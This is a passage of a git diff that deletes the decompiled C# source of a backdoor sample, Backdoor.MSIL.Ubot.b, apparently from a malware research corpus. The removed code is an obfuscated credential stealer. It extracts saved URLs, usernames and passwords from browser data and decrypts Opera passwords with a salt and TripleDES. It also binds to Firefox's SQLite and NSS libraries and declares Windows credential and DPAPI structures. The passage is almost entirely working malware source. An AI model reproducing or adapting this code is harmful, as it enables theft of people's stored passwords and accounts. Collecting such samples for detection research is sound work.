Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.decrypt2_method(numArray1, numArray2), (object) "\r\n"))); - checked { index1 += 11 + num2; } - } - checked { ++index1; } - } - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DOutput.Split(Conversions.ToChar(Environment.NewLine)); - int index2 = 0; - do - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index2] = (string) null; - checked { ++index2; } - } - while (index2 <= 3); - int num3 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines.Length - 1); - int index3 = 0; - while (index3 <= num3) - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp = (string) null; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp = (string) null; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp = (string) null; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c = 0; - try - { - if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Contains("http://") || yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Contains("https://") || yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Contains("ftp://")) - { - if (index3 != 0) - { - try - { - int num4 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Length - 1); - int num5 = 0; - while (num5 <= num4) - { - if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3][checked (num5 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c)] > '\u007F') - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Remove(checked (num5 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c), 1); - checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c; } - } - checked { ++num5; } - } - if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) == 1) - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3]; - else if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) == 2) - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3]; - if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Contains("ftp://")) - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3]; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl = index3; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - else if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ftp) - { - if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) != 1) - { - if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) != 2) - goto label_51; - } - try - { - int num6 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Length - 1); - int num7 = 0; - while (num7 <= num6) - { - if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3][checked (num7 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c)] > '\u007F') - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Remove(checked (num7 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c), 1); - checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c; } - } - checked { ++num7; } - } - if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) == 1) - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3]; - else if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) == 2) - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3]; - checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1; } - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ftp = false; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl != 0) - { - if (index3 != checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl + 2)) - { - if (index3 != checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl + 4)) - goto label_51; - } - try - { - int num8 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Length - 1); - int num9 = 0; - while (num9 <= num8) - { - if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3][checked (num9 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c)] > '\u007F') - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Remove(checked (num9 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c), 1); - checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c; } - } - checked { ++num9; } - } - if (index3 == checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl + 2)) - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3]; - else if (index3 == checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl + 4)) - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3]; - checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_51: - try - { - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp, (string) null, false) != 0) - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrl[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp; - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp, (string) null, false) != 0) - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUser[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp; - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp, (string) null, false) != 0) - { - try - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPass[checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1 - 1)] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index3; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - int num = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrl.Length - 1); - int index = 0; - while (index <= num && Microsoft.VisualBasic.CompilerServices.Operators.CompareString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrl[index], "", false) != 0) - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoginData[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c2] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrl[index]; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoginData[checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c2 + 1)] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUser[index]; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoginData[checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c2 + 2)] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPass[index]; - checked { yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c2 += 3; } - checked { ++index; } - } - } - - public static object decrypt2_method(byte[] key, byte[] encrypt_data) - { - object obj; - try - { - MD5CryptoServiceProvider cryptoServiceProvider1 = new MD5CryptoServiceProvider(); - cryptoServiceProvider1.Initialize(); - byte[] numArray1 = new byte[checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length + (key.Length - 1) + 1)]; - Array.Copy((Array) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt, (Array) numArray1, yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length); - Array.Copy((Array) key, 0, (Array) numArray1, yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length, key.Length); - byte[] hash1 = cryptoServiceProvider1.ComputeHash(numArray1); - byte[] numArray2 = new byte[checked (hash1.Length + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length + (key.Length - 1) + 1)]; - Array.Copy((Array) hash1, (Array) numArray2, hash1.Length); - Array.Copy((Array) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt, 0, (Array) numArray2, hash1.Length, yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length); - Array.Copy((Array) key, 0, (Array) numArray2, checked (hash1.Length + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length), key.Length); - byte[] hash2 = cryptoServiceProvider1.ComputeHash(numArray2); - TripleDESCryptoServiceProvider cryptoServiceProvider2 = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider2.Mode = CipherMode.CBC; - cryptoServiceProvider2.Padding = PaddingMode.None; - byte[] destinationArray1 = new byte[24]; - byte[] destinationArray2 = new byte[8]; - Array.Copy((Array) hash1, (Array) destinationArray1, hash1.Length); - Array.Copy((Array) hash2, 0, (Array) destinationArray1, hash1.Length, 8); - Array.Copy((Array) hash2, 8, (Array) destinationArray2, 0, 8); - cryptoServiceProvider2.Key = destinationArray1; - cryptoServiceProvider2.IV = destinationArray2; - obj = (object) Encoding.Unicode.GetString(cryptoServiceProvider2.CreateDecryptor().TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - private struct CREDENTIAL - { - public IntPtr dwFlags; - public IntPtr dwType; - public IntPtr lpstrTargetName; - public IntPtr lpstrComment; - public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWritten; - public IntPtr dwCredentialBlobSize; - public IntPtr lpbCredentialBlob; - public IntPtr dwPersist; - public IntPtr dwAttributeCount; - public IntPtr lpAttributes; - public IntPtr lpstrTargetAlias; - public IntPtr lpUserName; - } - - [System.Flags] - public enum CryptProtectPromptFlags - { - CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1, - CRYPTPROTECT_PROMPT_ON_PROTECT = 2, - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct DATA_BLOB - { - public int cbData; - public IntPtr pbData; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct CRYPTPROTECT_PROMPTSTRUCT - { - public int cbSize; - public yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CryptProtectPromptFlags dwPromptFlags; - public IntPtr hwndApp; - public string szPrompt; - } - - public struct TSECItem - { - public int SECItemType; - public int SECItemData; - public int SECItemLen; - } - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate(string configdir); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate2(); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate3(long slot, bool loadCerts, long wincx); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int DLLFunctionDelegate4( - IntPtr arenaOpt, - IntPtr outItemOpt, - StringBuilder inStr, - int inLen); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int DLLFunctionDelegate5( - ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem data, - ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem result, - int cx); -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.csproj b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.csproj deleted file mode 100644 index 4b754a2c..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.csproj +++ /dev/null @@ -1,49 +0,0 @@ - - - - - Debug - AnyCPU - {4010E461-24CC-4054-8F97-01E75B08925D} - WinExe - Server - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.sln b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.sln deleted file mode 100644 index ca41baa6..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.csproj", "{4010E461-24CC-4054-8F97-01E75B08925D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {4010E461-24CC-4054-8F97-01E75B08925D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4010E461-24CC-4054-8F97-01E75B08925D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4010E461-24CC-4054-8F97-01E75B08925D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4010E461-24CC-4054-8F97-01E75B08925D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Base.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Base.cs deleted file mode 100644 index 42433952..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Base.cs +++ /dev/null @@ -1,277 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Base -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Data; -using System.Runtime.InteropServices; -using System.Text; - -public class Base -{ - private const int SQL_OK = 0; - private const int SQL_ROW = 100; - private const int SQL_DONE = 101; - private IntPtr database; - - [DllImport("kernel32")] - private static extern IntPtr HeapAlloc( - IntPtr heap, - uint flags, - uint lmwXcoftBrueIDsqQpslhlanGoQRna); - - [DllImport("kernel32")] - private static extern IntPtr GetProcessHeap(); - - [DllImport("kernel32")] - private static extern int lstrlen(IntPtr str); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_open(IntPtr fileName, ref IntPtr database); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_close(IntPtr database); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_exec( - IntPtr database, - IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ, - IntPtr callback, - IntPtr arguments, - ref IntPtr error); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_errmsg(IntPtr database); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_prepare_v2( - IntPtr database, - IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ, - int CRjhCmhdjogGzsGrXfvexzMGfClkug, - ref IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - ref IntPtr tail); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_step(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_column_count(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_column_name( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_column_type( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_column_int( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern double sqlite3_column_double( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_column_text( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_column_blob( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern IntPtr sqlite3_column_table_name( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - int columnNumber); - - [DllImport("mozsqlite3")] - private static extern int sqlite3_finalize(IntPtr handle); - - public Base() => this.database = IntPtr.Zero; - - public Base(string baseName) => this.OpenDatabase(baseName); - - public void OpenDatabase(string baseName) - { - if (Base.sqlite3_open(this.StringToPointer(baseName), ref this.database) == 0) - return; - this.database = IntPtr.Zero; - } - - public void CloseDatabase() - { - if (!(this.database != IntPtr.Zero)) - return; - Base.sqlite3_close(this.database); - } - - public ArrayList GetTables() - { - DataTable dataTable = this.ExecuteQuery("SELECT name FROM sqlite_master WHERE type IN ("); - ArrayList tables = new ArrayList(); - try - { - foreach (DataRow row in dataTable.Rows) - tables.Add((object) row.ItemArray[0].ToString()); - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return tables; - } - - public void ExecuteNonQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ) - { - try - { - IntPtr error; - Base.sqlite3_exec(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), IntPtr.Zero, IntPtr.Zero, ref error); - int num = error != IntPtr.Zero ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public DataTable ExecuteQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ) - { - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD; - IntPtr tail; - Base.sqlite3_prepare_v2(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), this.GetPointerLenght(this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ)), ref ugsomsbismrdBPQhqtxSimmmoadhWD, ref tail); - DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable(); - int num = this.ReadFirstRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq); - while (num == 100) - num = this.ReadNextRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq); - Base.sqlite3_finalize(ugsomsbismrdBPQhqtxSimmmoadhWD); - return WCelvwBgEsajtdaulPPorkGkYgfnpq; - } - - private int ReadFirstRow( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq) - { - WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable("resultTable"); - if (Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD) == 100) - { - int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int columnNumber = 0; - while (columnNumber <= num2) - { - string columnName = this.PointerToString(Base.sqlite3_column_name(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)) - { - case 1: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Int32")); - objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber); - break; - case 2: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Single")); - objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber); - break; - case 3: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - break; - case 4: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - break; - default: - WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) ""; - break; - } - checked { ++columnNumber; } - } - WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray); - } - return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD); - } - - private int ReadNextRow( - IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD, - ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq) - { - int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int columnNumber = 0; - while (columnNumber <= num2) - { - switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)) - { - case 1: - objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber); - break; - case 2: - objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber); - break; - case 3: - objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - break; - case 4: - objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - break; - default: - objArray[columnNumber] = (object) ""; - break; - } - checked { ++columnNumber; } - } - WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray); - return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD); - } - - private IntPtr StringToPointer(string str) - { - if (str == null) - return IntPtr.Zero; - byte[] bytes = Encoding.UTF8.GetBytes(str); - int lmwXcoftBrueIDsqQpslhlanGoQRna = checked (bytes.Length + 1); - IntPtr pointer = Base.HeapAlloc(Base.GetProcessHeap(), 0U, checked ((uint) lmwXcoftBrueIDsqQpslhlanGoQRna)); - Marshal.Copy(bytes, 0, pointer, bytes.Length); - Marshal.WriteByte(pointer, bytes.Length, (byte) 0); - return pointer; - } - - private string PointerToString(IntPtr ptr) - { - if (ptr == IntPtr.Zero) - return (string) null; - Encoding utF8 = Encoding.UTF8; - int pointerLenght = this.GetPointerLenght(ptr); - byte[] numArray = new byte[checked (pointerLenght - 1 + 